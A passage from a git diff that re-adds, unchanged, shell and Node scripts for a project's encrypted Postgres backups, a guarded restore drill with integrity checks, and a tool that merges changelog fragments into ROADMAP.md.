''|*[!0-9]*) echo "error: BACKUP_RETENTION_DAYS must be a whole number of days" >&2; exit 2 ;; -esac - -mkdir -p "$BACKUP_DIR" - -stamp="$(date -u +%Y%m%d_%H%M%S)" -outfile="$BACKUP_DIR/postgres-${stamp}.dump.gpg" -tmpfile="${outfile}.part" - -# Never log the connection string itself: it carries the password. -echo "[$(ts)] backing up ${DB_URL%%://*}://… -> $outfile" - -cleanup() { - rm -f "${tmpfile}" 2>/dev/null || true -} -trap cleanup EXIT - -# Pipe the dump straight into gpg so the plaintext dump never exists -# on disk. The passphrase goes in on fd 3 so it never appears in argv; -# --pinentry-mode loopback lets gpg 2.x read it non-interactively. -pg_dump \ - --dbname="$DB_URL" \ - --format=custom \ - --no-owner \ - --no-privileges \ - | gpg --batch --yes --pinentry-mode loopback \ - --symmetric --cipher-algo AES256 \ - --passphrase-fd 3 \ - --output "$tmpfile" 3<<<"$KEY" - -mv "$tmpfile" "$outfile" - -size=$(wc -c < "$outfile" | tr -d ' ') -echo "[$(ts)] wrote $outfile (${size} bytes)" - -# Retention: delete backups older than RETENTION_DAYS. -echo "[$(ts)] applying retention (${RETENTION_DAYS} days)" -find "$BACKUP_DIR" -type f -name 'postgres-*.dump.gpg' -mtime +"$RETENTION_DAYS" -print -delete - -echo "[$(ts)] backup complete" +#!/usr/bin/env bash +set -euo pipefail + +# Phase 9 -- automated Postgres backups. +# +# Takes an encrypted logical backup of the database and writes it to +# ${BACKUP_DIR} with a timestamped filename. Encryption is mandatory +# (backups contain PHI): the dump is piped through `gpg --symmetric` with +# a passphrase supplied via BACKUP_ENCRYPTION_KEY. The plaintext dump +# never touches disk. +# +# Required env: +# DATABASE_URL -- Postgres connection string to back up +# BACKUP_ENCRYPTION_KEY -- symmetric passphrase for gpg +# BACKUP_DIR -- destination directory (default: ./backups) +# BACKUP_RETENTION_DAYS -- retention window in days (default: 14) +# +# The dump is always pg_dump's custom format, which is what +# scripts/restore-drill.sh restores with pg_restore. + +DB_URL="${DATABASE_URL:-}" +KEY="${BACKUP_ENCRYPTION_KEY:-}" +BACKUP_DIR="${BACKUP_DIR:-./backups}" +RETENTION_DAYS="${BACKUP_RETENTION_DAYS:-14}" + +ts() { date -u +%Y-%m-%dT%H:%M:%SZ; } + +if [ -z "$DB_URL" ]; then + echo "error: DATABASE_URL is not set" >&2 + exit 2 +fi + +if [ -z "$KEY" ]; then + echo "error: BACKUP_ENCRYPTION_KEY is not set (encryption is mandatory)" >&2 + exit 2 +fi + +case "$RETENTION_DAYS" in + ''|*[!0-9]*) echo "error: BACKUP_RETENTION_DAYS must be a whole number of days" >&2; exit 2 ;; +esac + +mkdir -p "$BACKUP_DIR" + +stamp="$(date -u +%Y%m%d_%H%M%S)" +outfile="$BACKUP_DIR/postgres-${stamp}.dump.gpg" +tmpfile="${outfile}.part" + +# Never log the connection string itself: it carries the password. +echo "[$(ts)] backing up ${DB_URL%%://*}://… -> $outfile" + +cleanup() { + rm -f "${tmpfile}" 2>/dev/null || true +} +trap cleanup EXIT + +# Pipe the dump straight into gpg so the plaintext dump never exists +# on disk. The passphrase goes in on fd 3 so it never appears in argv; +# --pinentry-mode loopback lets gpg 2.x read it non-interactively. +pg_dump \ + --dbname="$DB_URL" \ + --format=custom \ + --no-owner \ + --no-privileges \ + | gpg --batch --yes --pinentry-mode loopback \ + --symmetric --cipher-algo AES256 \ + --passphrase-fd 3 \ + --output "$tmpfile" 3<<<"$KEY" + +mv "$tmpfile" "$outfile" + +size=$(wc -c < "$outfile" | tr -d ' ') +echo "[$(ts)] wrote $outfile (${size} bytes)" + +# Retention: delete backups older than RETENTION_DAYS. +echo "[$(ts)] applying retention (${RETENTION_DAYS} days)" +find "$BACKUP_DIR" -type f -name 'postgres-*.dump.gpg' -mtime +"$RETENTION_DAYS" -print -delete + +echo "[$(ts)] backup complete" diff --git a/scripts/fold-changelog.mjs b/scripts/fold-changelog.mjs index e3b971f7..35394867 100644 --- a/scripts/fold-changelog.mjs +++ b/scripts/fold-changelog.mjs @@ -1,79 +1,79 @@ -#!/usr/bin/env node -// Folds the changelog fragments in changelog.d/ into the "## Changelog" -// section of ROADMAP.md, then deletes them. Maintainers run this and commit -// the result in its own PR; contributors only ever add fragment files, so -// their PRs never touch the same lines (see changelog.d/README.md). -// -// Each entry is dated by the day its fragment was added to the current -// branch (for squash-merged PRs, the merge date), taken from git history. -// A fragment that isn't committed yet gets today's date. -// -// node scripts/fold-changelog.mjs # fold and delete fragments -// node scripts/fold-changelog.mjs --dry-run # print what would be added -import { execFileSync } from 'node:child_process'; -import fs from 'node:fs'; -import path from 'node:path'; - -const dryRun = process.argv.includes('--dry-run'); -const root = execFileSync('git', ['rev-parse', '--show-toplevel'], { encoding: 'utf8' }).trim(); -const dir = path.join(root, 'changelog.d'); -const roadmapPath = path.join(root, 'ROADMAP.md'); -const today = new Date().toISOString().slice(0, 10); - -function addedOn(rel) { - // Newest first; the last line is the commit that added the file. - const out = execFileSync('git', ['log', '--diff-filter=A', '--format=%as', '--', rel], { - cwd: root, encoding: 'utf8', - }).trim(); - return out ? out.split('\n').pop() : today; -} - -function toEntry(date, text) { - // Tolerate fragments written in the old style ("- 2026-10-20 β€” ..."). - const body = text.trim() - .replace(/^-\s+/, '') - .replace(/^\d{4}-\d{2}-\d{2}\s*[β€”-]+\s*/, ''); - const [first, ...rest] = body.split('\n'); - // Continuation lines are indented so the whole entry stays one list item. - return [`- ${date} β€” ${first}`, ...rest.map((line) => (line.trim() ? ` ${line}` : ''))] - .join('\n') - .replace(/\n{2,}/g, '\n'); -} - -const files = fs.existsSync(dir) - ? fs.readdirSync(dir).filter((f) => f.endsWith('.md') && f !== 'README.md') - : []; -if (files.length === 0) { - console.log('No changelog fragments to fold.'); - process.exit(0); -} - -const fragments = files - .map((file) => { - const rel = `changelog.d/${file}`; - const text = fs.readFileSync(path.join(root, rel), 'utf8'); - if (!text.trim()) throw new Error(`${rel} is empty`); - return { file, rel, date: addedOn(rel), text }; - }) - .sort((a, b) => a.date.localeCompare(b.date) || a.file.localeCompare(b.file)); - -const lines = fs.readFileSync(roadmapPath, 'utf8').split('\n'); -const heading = lines.findIndex((l) => /^## Changelog\b/.test(l)); -if (heading === -1) throw new Error('ROADMAP.md has no "## Changelog" section'); -let end = lines.findIndex((l, i) => i > heading && /^## /.test(l)); -if (end === -1) end = lines.length; -// Insert after the section's last non-blank line. -let at = end; -while (at > heading + 1 && lines[at - 1].trim() === '') at--; - -const entries = fragments.map((f) => toEntry(f.date, f.text)); -if (dryRun) { - console.log(entries.join('\n')); - process.exit(0); -} - -lines.splice(at, 0, ...entries); -fs.writeFileSync(roadmapPath, lines.join('\n')); -for (const f of fragments) fs.unlinkSync(path.join(root, f.rel)); -console.log(`Folded ${fragments.length} fragment(s) into ROADMAP.md:`); -for (const f of fragments) console.log(` ${f.date} ${f.rel}`); +#!/usr/bin/env node +// Folds the changelog fragments in changelog.d/ into the "## Changelog" +// section of ROADMAP.md, then deletes them. Maintainers run this and commit +// the result in its own PR; contributors only ever add fragment files, so +// their PRs never touch the same lines (see changelog.d/README.md). +// +// Each entry is dated by the day its fragment was added to the current +// branch (for squash-merged PRs, the merge date), taken from git history. +// A fragment that isn't committed yet gets today's date. +// +// node scripts/fold-changelog.mjs # fold and delete fragments +// node scripts/fold-changelog.mjs --dry-run # print what would be added +import { execFileSync } from 'node:child_process'; +import fs from 'node:fs'; +import path from 'node:path'; + +const dryRun = process.argv.includes('--dry-run'); +const root = execFileSync('git', ['rev-parse', '--show-toplevel'], { encoding: 'utf8' }).trim(); +const dir = path.join(root, 'changelog.d'); +const roadmapPath = path.join(root, 'ROADMAP.md'); +const today = new Date().toISOString().slice(0, 10); + +function addedOn(rel) { + // Newest first; the last line is the commit that added the file. + const out = execFileSync('git', ['log', '--diff-filter=A', '--format=%as', '--', rel], { + cwd: root, encoding: 'utf8', + }).trim(); + return out ? out.split('\n').pop() : today; +} + +function toEntry(date, text) { + // Tolerate fragments written in the old style ("- 2026-10-20 β€” ..."). + const body = text.trim() + .replace(/^-\s+/, '') + .replace(/^\d{4}-\d{2}-\d{2}\s*[β€”-]+\s*/, ''); + const [first, ...rest] = body.split('\n'); + // Continuation lines are indented so the whole entry stays one list item. + return [`- ${date} β€” ${first}`, ...rest.map((line) => (line.trim() ? ` ${line}` : ''))] + .join('\n') + .replace(/\n{2,}/g, '\n'); +} + +const files = fs.existsSync(dir) + ? fs.readdirSync(dir).filter((f) => f.endsWith('.md') && f !== 'README.md') + : []; +if (files.length === 0) { + console.log('No changelog fragments to fold.'); + process.exit(0); +} + +const fragments = files + .map((file) => { + const rel = `changelog.d/${file}`; + const text = fs.readFileSync(path.join(root, rel), 'utf8'); + if (!text.trim()) throw new Error(`${rel} is empty`); + return { file, rel, date: addedOn(rel), text }; + }) + .sort((a, b) => a.date.localeCompare(b.date) || a.file.localeCompare(b.file)); + +const lines = fs.readFileSync(roadmapPath, 'utf8').split('\n'); +const heading = lines.findIndex((l) => /^## Changelog\b/.test(l)); +if (heading === -1) throw new Error('ROADMAP.md has no "## Changelog" section'); +let end = lines.findIndex((l, i) => i > heading && /^## /.test(l)); +if (end === -1) end = lines.length; +// Insert after the section's last non-blank line. +let at = end; +while (at > heading + 1 && lines[at - 1].trim() === '') at--; + +const entries = fragments.map((f) => toEntry(f.date, f.text)); +if (dryRun) { + console.log(entries.join('\n')); + process.exit(0); +} + +lines.splice(at, 0, ...entries); +fs.writeFileSync(roadmapPath, lines.join('\n')); +for (const f of fragments) fs.unlinkSync(path.join(root, f.rel)); +console.log(`Folded ${fragments.length} fragment(s) into ROADMAP.md:`); +for (const f of fragments) console.log(` ${f.date} ${f.rel}`); diff --git a/scripts/restore-drill.sh b/scripts/restore-drill.sh index 284749f5..fdba5f58 100644 --- a/scripts/restore-drill.sh +++ b/scripts/restore-drill.sh @@ -1,147 +1,147 @@ -#!/usr/bin/env bash -set -euo pipefail - -# Phase 9 -- restore drill. -# -# Restores the latest encrypted backup (as produced by -# scripts/backup-postgres.sh) into a scratch database and runs -# integrity checks. This is the drill that proves the backups are -# actually restorable. -# -# Safety guards: -# - Requires an explicit confirmation (RESTORE_CONFIRM=1). -# - Refuses to restore into a database whose name does not end in -# _drill (or _scratch), so a live database can't be hit by accident. -# - Refuses to restore into the same database the backup came from -# (when DATABASE_URL is set). -# -# Required env: -# DATABASE_URL -- source connection string (for safety checks) -# RESTORE_TARGET_URL -- scratch database connection string -# BACKUP_ENCRYPTION_KEY -- symmetric passphrase for gpg -# BACKUP_DIR -- directory containing backups -# RESTORE_CONFIRM -- must equal 1 -# -# The scratch database is dropped and recreated through the server's -# `postgres` maintenance database, so the role in RESTORE_TARGET_URL needs -# CREATEDB. - -DB_URL="${DATABASE_URL:-}" -TARGET_URL="${RESTORE_TARGET_URL:-}" -KEY="${BACKUP_ENCRYPTION_KEY:-}" -BACKUP_DIR="${BACKUP_DIR:-./backups}" -CONFIRM="${RESTORE_CONFIRM:-}" - -fail() { - echo "error: $*" >&2 - exit 2 -} - -# Database name from a connection string: the path after the last /, -# without any ?query. -db_name() { - local name="${1##*/}" - echo "${name%%\?*}" -} - -# -------------------------------------------------------------------------- -# Safety guards -# -------------------------------------------------------------------------- - -[ "$CONFIRM" = "1" ] || fail "RESTORE_CONFIRM must be 1 to acknowledge this is a restore drill" -[ -n "$TARGET_URL" ] || fail "RESTORE_TARGET_URL is not set" -[ -n "$KEY" ] || fail "BACKUP_ENCRYPTION_KEY is not set" - -target_db="$(db_name "$TARGET_URL")" - -# The name is interpolated into DROP/CREATE DATABASE below, so only allow -# plain identifiers. -[[ "$target_db" =~ ^[A-Za-z0-9_]+$ ]] || fail "target database name '$target_db' must be letters, digits and underscores only" - -case "$target_db" in - *_drill|*_scratch) ;; - *) fail "refusing to restore into '$target_db': target database name must end in _drill or _scratch" ;; -esac - -if [ -n "$DB_URL" ]; then - source_db="$(db_name "$DB_URL")" - if [ "$source_db" = "$target_db" ]; then - fail "refusing to restore into the source database '$target_db'" - fi -fi - -# -------------------------------------------------------------------------- -# Find the latest backup -# -------------------------------------------------------------------------- - -backup="$(find "$BACKUP_DIR" -type f -name 'postgres-*.dump.gpg' -printf '%T@ %p\n' 2>/dev/null | sort -nr | head -n1 | cut -d' ' -f2-)" - -[ -n "$backup" ] || fail "no backups found in $BACKUP_DIR" - -echo "[restore-drill] using backup: $backup" -echo "[restore-drill] target database: $target_db" - -# -------------------------------------------------------------------------- -# Restore -# -------------------------------------------------------------------------- - -admin_url="${TARGET_URL%/*}/postgres" -start_ts=$(date +%s) -echo "[restore-drill] dropping and recreating $target_db" -psql "$admin_url" -v ON_ERROR_STOP=1 -q \ - -c "DROP DATABASE IF EXISTS \"$target_db\";" \ - -c "CREATE DATABASE \"$target_db\";" - -echo "[restore-drill] restoring ..." -gpg --batch --yes --pinentry-mode loopback --passphrase-fd 3 --decrypt "$backup" 3<<<"$KEY" \ - | pg_restore --dbname="$TARGET_URL" --no-owner --no-privileges --exit-on-error - -end_ts=$(date +%s) -elapsed=$((end_ts - start_ts)) -echo "[restore-drill] restore completed in ${elapsed}s" - -# -------------------------------------------------------------------------- -# Integrity checks -# -------------------------------------------------------------------------- - -failed=0 - -check_count() { - local label="$1" - local sql="$2" - local min="$3" - local count - count="$(psql "$TARGET_URL" -tAX -c "$sql")" - if [ "$count" -lt "$min" ]; then - echo "[restore-drill] FAIL $label: got $count, expected >= $min" >&2 - failed=1 - else - echo "[restore-drill] ok $label: $count" - fi -} - -check_count "migrations applied" "SELECT COUNT(*) FROM _prisma_migrations" 1 -check_count "users" "SELECT COUNT(*) FROM \"users\"" 1 -check_count "bookings" "SELECT COUNT(*) FROM \"bookings\"" 1 - -# Sample booking query: join a booking to its user to prove the -# relationships survived the round-trip. -sample="$(psql "$TARGET_URL" -tAX -c " - SELECT b.id, b.status, u.email FROM \"bookings\" b - JOIN \"users\" u ON u.id = b.\"userId\" LIMIT 1")" -if [ -z "$sample" ]; then - echo "[restore-drill] FAIL sample booking query returned no rows" >&2 - failed=1 -else - echo "[restore-drill] ok sample booking query: $sample" -fi - -# Record the measured restore time for the RPO/RTO docs. -echo "[restore-drill] measured restore time: ${elapsed}s" - -if [ "$failed" -ne 0 ]; then - echo "[restore-drill] FAILED" >&2 - exit 1 -fi - -echo "[restore-drill] PASSED (restore time ${elapsed}s)" +#!/usr/bin/env bash +set -euo pipefail + +# Phase 9 -- restore drill. +# +# Restores the latest encrypted backup (as produced by +# scripts/backup-postgres.sh) into a scratch database and runs +# integrity checks. This is the drill that proves the backups are +# actually restorable. +# +# Safety guards: +# - Requires an explicit confirmation (RESTORE_CONFIRM=1). +# - Refuses to restore into a database whose name does not end in +# _drill (or _scratch), so a live database can't be hit by accident. +# - Refuses to restore into the same database the backup came from +# (when DATABASE_URL is set). +# +# Required env: +# DATABASE_URL -- source connection string (for safety checks) +# RESTORE_TARGET_URL -- scratch database connection string +# BACKUP_ENCRYPTION_KEY -- symmetric passphrase for gpg +# BACKUP_DIR -- directory containing backups +# RESTORE_CONFIRM -- must equal 1 +# +# The scratch database is dropped and recreated through the server's +# `postgres` maintenance database, so the role in RESTORE_TARGET_URL needs +# CREATEDB. + +DB_URL="${DATABASE_URL:-}" +TARGET_URL="${RESTORE_TARGET_URL:-}" +KEY="${BACKUP_ENCRYPTION_KEY:-}" +BACKUP_DIR="${BACKUP_DIR:-./backups}" +CONFIRM="${RESTORE_CONFIRM:-}" + +fail() { + echo "error: $*" >&2 + exit 2 +} + +# Database name from a connection string: the path after the last /, +# without any ?query. +db_name() { + local name="${1##*/}" + echo "${name%%\?*}" +} + +# -------------------------------------------------------------------------- +# Safety guards +# -------------------------------------------------------------------------- + +[ "$CONFIRM" = "1" ] || fail "RESTORE_CONFIRM must be 1 to acknowledge this is a restore drill" +[ -n "$TARGET_URL" ] || fail "RESTORE_TARGET_URL is not set" +[ -n "$KEY" ] || fail "BACKUP_ENCRYPTION_KEY is not set" + +target_db="$(db_name "$TARGET_URL")" + +# The name is interpolated into DROP/CREATE DATABASE below, so only allow +# plain identifiers. +[[ "$target_db" =~ ^[A-Za-z0-9_]+$ ]] || fail "target database name '$target_db' must be letters, digits and underscores only" + +case "$target_db" in + *_drill|*_scratch) ;; + *) fail "refusing to restore into '$target_db': target database name must end in _drill or _scratch" ;; +esac + +if [ -n "$DB_URL" ]; then + source_db="$(db_name "$DB_URL")" + if [ "$source_db" = "$target_db" ]; then + fail "refusing to restore into the source database '$target_db'" + fi +fi + +# -------------------------------------------------------------------------- +# Find the latest backup +# -------------------------------------------------------------------------- + +backup="$(find "$BACKUP_DIR" -type f -name 'postgres-*.dump.gpg' -printf '%T@ %p\n' 2>/dev/null | sort -nr | head -n1 | cut -d' ' -f2-)" + +[ -n "$backup" ] || fail "no backups found in $BACKUP_DIR" + +echo "[restore-drill] using backup: $backup" +echo "[restore-drill] target database: $target_db" + +# -------------------------------------------------------------------------- +# Restore +# -------------------------------------------------------------------------- + +admin_url="${TARGET_URL%/*}/postgres" +start_ts=$(date +%s) +echo "[restore-drill] dropping and recreating $target_db" +psql "$admin_url" -v ON_ERROR_STOP=1 -q \ + -c "DROP DATABASE IF EXISTS \"$target_db\";" \ + -c "CREATE DATABASE \"$target_db\";" + +echo "[restore-drill] restoring ..." +gpg --batch --yes --pinentry-mode loopback --passphrase-fd 3 --decrypt "$backup" 3<<<"$KEY" \ + | pg_restore --dbname="$TARGET_URL" --no-owner --no-privileges --exit-on-error + +end_ts=$(date +%s) +elapsed=$((end_ts - start_ts)) +echo "[restore-drill] restore completed in ${elapsed}s" + +# -------------------------------------------------------------------------- +# Integrity checks +# -------------------------------------------------------------------------- + +failed=0 + +check_count() { + local label="$1" + local sql="$2" + local min="$3" + local count + count="$(psql "$TARGET_URL" -tAX -c "$sql")" + if [ "$count" -lt "$min" ]; then + echo "[restore-drill] FAIL $label: got $count, expected >= $min" >&2 + failed=1 + else + echo "[restore-drill] ok $label: $count" + fi +} + +check_count "migrations applied" "SELECT COUNT(*) FROM _prisma_migrations" 1 +check_count "users" "SELECT COUNT(*) FROM \"users\"" 1 +check_count "bookings" "SELECT COUNT(*) FROM \"bookings\"" 1 + +# Sample booking query: join a booking to its user to prove the +# relationships survived the round-trip. +sample="$(psql "$TARGET_URL" -tAX -c " + SELECT b.id, b.status, u.email FROM \"bookings\" b + JOIN \"users\" u ON u.id = b.\"userId\" LIMIT 1")" +if [ -z "$sample" ]; then + echo "[restore-drill] FAIL sample booking query returned no rows" >&2 + failed=1 +else + echo "[restore-drill] ok sample booking query: $sample" +fi + +# Record the measured restore time for the RPO/RTO docs. +echo "[restore-drill] measured restore time: ${elapsed}s" + +if [ "$failed" -ne 0 ]; then + echo "[restore-drill] FAILED" >&2 + exit 1 +fi + +echo "[restore-drill] PASSED (restore time ${elapsed}s)"